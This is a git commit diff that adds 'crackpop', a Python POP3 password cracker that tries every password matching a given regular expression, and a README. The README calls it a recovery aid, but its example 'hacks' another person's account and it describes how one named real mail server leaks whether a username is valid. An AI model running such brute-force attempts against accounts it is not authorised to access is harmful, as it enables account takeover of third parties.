From: Antonio Ospite Date: Tue, 2 Apr 2013 16:12:11 +0000 (+0200) Subject: Initial import X-Git-Url: https://git.ao2.it/crackpop.git/commitdiff_plain/9c0c330832bcd00de6a1843891851cd6fcbded49 Initial import --- 9c0c330832bcd00de6a1843891851cd6fcbded49 diff --git a/README.txt b/README.txt new file mode 100644 index 0000000..e764d18 --- /dev/null +++ b/README.txt @@ -0,0 +1,56 @@ +If you forgot the password of your pop3 account but you remember the rule or +the pattern you used to create it, crackpop can help you to recover the +password. + +Just build up a regular expression that you think matches the password and +crackpop will try to generate all the strings matchable by the regular +expression and try to access your pop3 account with them. + +As an example let's try to hack Randall Munroe's account: + + $ ./crackpop.py \ + --host popmail.xkcd.example.net \ + --user randall \ + --pattern "[Cc]orrect [Hh]orse [Bb]attery [Ss]taple" + + +DEPENDENCIES + +crackpop uses the 'exrex' python module, in case it is not packaged for your +system you can get it with 'pip'; example for Debian based systems: + + $ sudo aptitude install python-pip + $ sudo pip install exrex + + +NOTE + +The program always prints out the error status on failed authentication +attempts in order to let the user know what is going on. + +This is because some POP3 servers may be more creative than others, and +sometimes it is possible to differentiate between authentication events only +by looking at the error message. + +For instance popmail.libero.it is quite weird, this is what happens: + + - When the username is wrong the server replies with and expected: + + -ERR [AUTH] invalid user or password + + - When the username is right but the password is wrong the server replies + with an information-leaking: + + -ERR ERROR 119 invalid user or password err 30 + + - When the password is right the server replies with: + + -ERR [AUTH] POP3 access not allowed + + because it does not allow POP3 operations from users on networks different + from its own (but it still allows _connections_ from other networks tho). + +Yes, with pomail.libero.it it is possible to differentiate the "invalid user" +case from the "invalid password" one. + +Have fun! diff --git a/crackpop.py b/crackpop.py new file mode 100755 index 0000000..3c7d0f7 --- /dev/null +++ b/crackpop.py @@ -0,0 +1,102 @@ +#!/usr/bin/env python +# +# crackpop - a pattern-generated-dictionary pop3 password cracker +# +# Copyright (C) 2013 Antonio Ospite +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +import argparse +import exrex +import poplib + +__description = "crackpop is a pattern-generated-dictionary pop3 password cracker" +__version = "0.1" +__author_info = "Antonio Ospite" + + +def generate_passwords(password_pattern, dry_run=False): + passwords = list(exrex.generate(password_pattern)) + + if dry_run: + print "Generated %d passwords." % len(passwords) + for p in passwords: + print p + return [] + + return passwords + + +def crackpop(host, port, user, passwords): + print "Testing %d passwords." % len(passwords) + for p in passwords: + # TODO maybe the same connection can be reused for more than one try, + # but some logic needs to be added to detect the maximum allowed + # authentication attempts or a disconnection from the server. + pop3 = poplib.POP3(host, port) + try: + pop3.user(user) + pop3.pass_(p) + except Exception, e: + print e.message, "(password: %s)" % p + del pop3 + continue + else: + print "Found! (password: %s)" % p + break + + +def option_parser(): + usage = "usage: %(prog)s [options]" + + parser = argparse.ArgumentParser( + usage=usage, + description=__description, + epilog=__author_info, + version='%(prog)s ' + __version) + + parser.add_argument( + '-H', '--host', metavar="", + dest='host', required=True, + help='the host where the pop3 server is') + + parser.add_argument( + '-P', '--port', metavar="", + dest='port', default=110, + help='the port the pop3 server is listening on') + + parser.add_argument( + '-u', '--user', metavar="", + dest='user', required=True, + help='username of the pop3 account') + + parser.add_argument( + '-p', '--pattern', metavar="", + dest='password_pattern', required=True, + help='the regular expression describing the pattern of the password') + + parser.add_argument( + '-d', '--dry-run', + dest='dry_run', action='store_const', const=True, + help='only print out the passwords, do not connect to the pop3 server') + + return parser + + +if __name__ == "__main__": + parser = option_parser() + args = parser.parse_args() + + passwords = generate_passwords(args.password_pattern, args.dry_run) + crackpop(args.host, args.port, args.user, passwords)